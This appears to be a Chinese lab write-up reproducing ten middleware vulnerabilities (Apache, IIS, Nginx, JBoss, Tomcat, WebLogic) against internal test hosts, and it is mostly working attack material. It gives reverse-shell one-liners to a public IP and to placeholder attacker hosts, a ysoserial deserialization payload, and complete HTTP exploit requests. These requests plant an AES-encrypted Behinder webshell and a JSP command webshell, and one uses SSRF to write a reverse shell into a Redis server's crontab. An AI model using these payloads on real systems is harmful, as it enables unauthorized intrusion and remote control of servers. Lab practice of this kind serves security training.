# 常见中间件漏洞复现
1 使用Apache解析漏洞获取服务器权限 http://10.2.2.15/
抓包,修改后缀 .jsp.png
成功
2 使用IIS文件解析漏洞获取服务器权限 http://10.2.2.90/QuickUpload.htm
抓包
修改文件名0907.asp;.jpg 返回到路径
1 { path: "./file/0907.asp;.jpg", name: "0907.asp;.jpg" }
蚁剑连接
连接成功
3 使用Jboss(CVE-2017-12149)反序列化获取服务器权限 http://10.2.2.48:8080/
编写反弹shell的命令
使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码
1 bash -i >& /dev/tcp/47.117.3.31/4564 0>&1
编码
1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTcuMy4zMS80NTY0IDA+JjE=}|{base64,-d}|{bash,-i}
序列化数据生成
使用ysoserial 来复现生成序列化数据,所以选择使用的gadget是CommonsCollections5:
1 java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTcuMy4zMS80NTY0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
发送POC
生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:
反弹shell
4 利用Jboss后台弱口令获取服务器权限 http://10.2.2.48:8080/ admin/vulhub
登录
1 http://10.2.2.48:8080/admin-console/login.seam?conversationId=4
上传war
上传成功
访问
上传冰蝎马
成功
连接成功
5 使用Nginx文件解析漏洞获取服务器权限 http://10.2.2.17/
随便上传一个图片
最后加上phpinfo
返回路径
加上/x.php
1 http://10.2.2.17/uploadfiles/14e95f2d66bdfbc9714c7ea7c246480a.png/x.php
6 使用Tomcat(CVE-2017-12615)远程代码执行漏洞获取服务器权限 http://10.2.2.19:8081/
抓包 PUT写文件
1 2 3 4 5 6 7 8 9 10 11 12 PUT / HTTP/1.1 Host: 10.2.2.19:8081 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 542 AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="dfff0a7fa1a55c8c";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb
上传成功
冰蝎连接
7 利用Tomcat后台获取服务器权限 http://10.2.2.19:8080/
环境: http://10.2.2.44:8080/
manager app 登录抓包,发送到测试器
将用户名:密码base64的编码添加为变量
有效载荷类型设置为 自定义迭代器
位置1 设置为用户名
位置2 设置 :
位置3 设置密码字典
处理设置为base64编码
url关闭
爆破到密码
解码为 tomcat:admin
登录到管理界面
先将gxy.jsp小马压缩为gxy.zip,再将zip后缀改名为war,然后上传war包:
上传成功
访问小马地址
上传一个jsp的冰蝎马 密码 cmd -->
dfff0a7fa1a55c8c1a4966c19f6da452
1 AAAAA<%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="dfff0a7fa1a55c8c" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb
上传成功
1 http://10.2.2.44:8080/gxy/22222.jsp
冰蝎连接
成功
8 利用weblogic(CVE-2018-10271)反序列化漏洞获取服务器权限 http://10.2.2.75:7001/
发送以下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 10.2.2.75:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > bash -i > & /dev/tcp/你的vps/1234 0> & 1</string > </void > </array > <void method ="start" /> </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
vps nc监听
getshell
9 Weblogic _async 反序列化漏洞 7001端口 http://10.2.2.68:7001/_async/AsyncResponseService
发送以下poc包,写入一句话
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 POST /_async/AsyncResponseService HTTP/1.1 Host: 10.2.2.68:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 Cache-Control: max-age=0 content-type: text/xml Content-Length: 1383 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa ="http://www.w3.org/2005/08/addressing" xmlns:asy ="http://www.bea.com/async/AsyncResponseService" > <soapenv:Header > <wsa:Action > xx</wsa:Action > <wsa:RelatesTo > xx</wsa:RelatesTo > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string > </void > </array > <void method ="start" /> </void > </work:WorkContext > </soapenv:Header > <soapenv:Body > <asy:onAsyncDelivery /> </soapenv:Body > </soapenv:Envelope >
202 成功
执行whoami
1 http://10.2.2.68:7001/_async/webshell.jsp?pwd=123&cmd=whoami
10 搭建并复现weblogic SSRF漏洞探测内网,并攻击内网redis应用 利用vulhub的docker环境搭建
在/vulhub/weblogic/ssrf目录下运行
搭建成功
问http://ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80
:
修改为一个不存在的端口,将会返回could not connect over HTTP to server
。
通过错误的不同,即可探测内网状态。
内网探测 发送测试器
1
2
扫描到redis数据库
注入HTTP头,利用Redis反弹shell Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.29.0.2:6379
可以连通:
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
1 2 3 4 set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
进行url编码:
1 set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:
1 2 3 4 5 6 GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
定时任务 得等会
反弹成功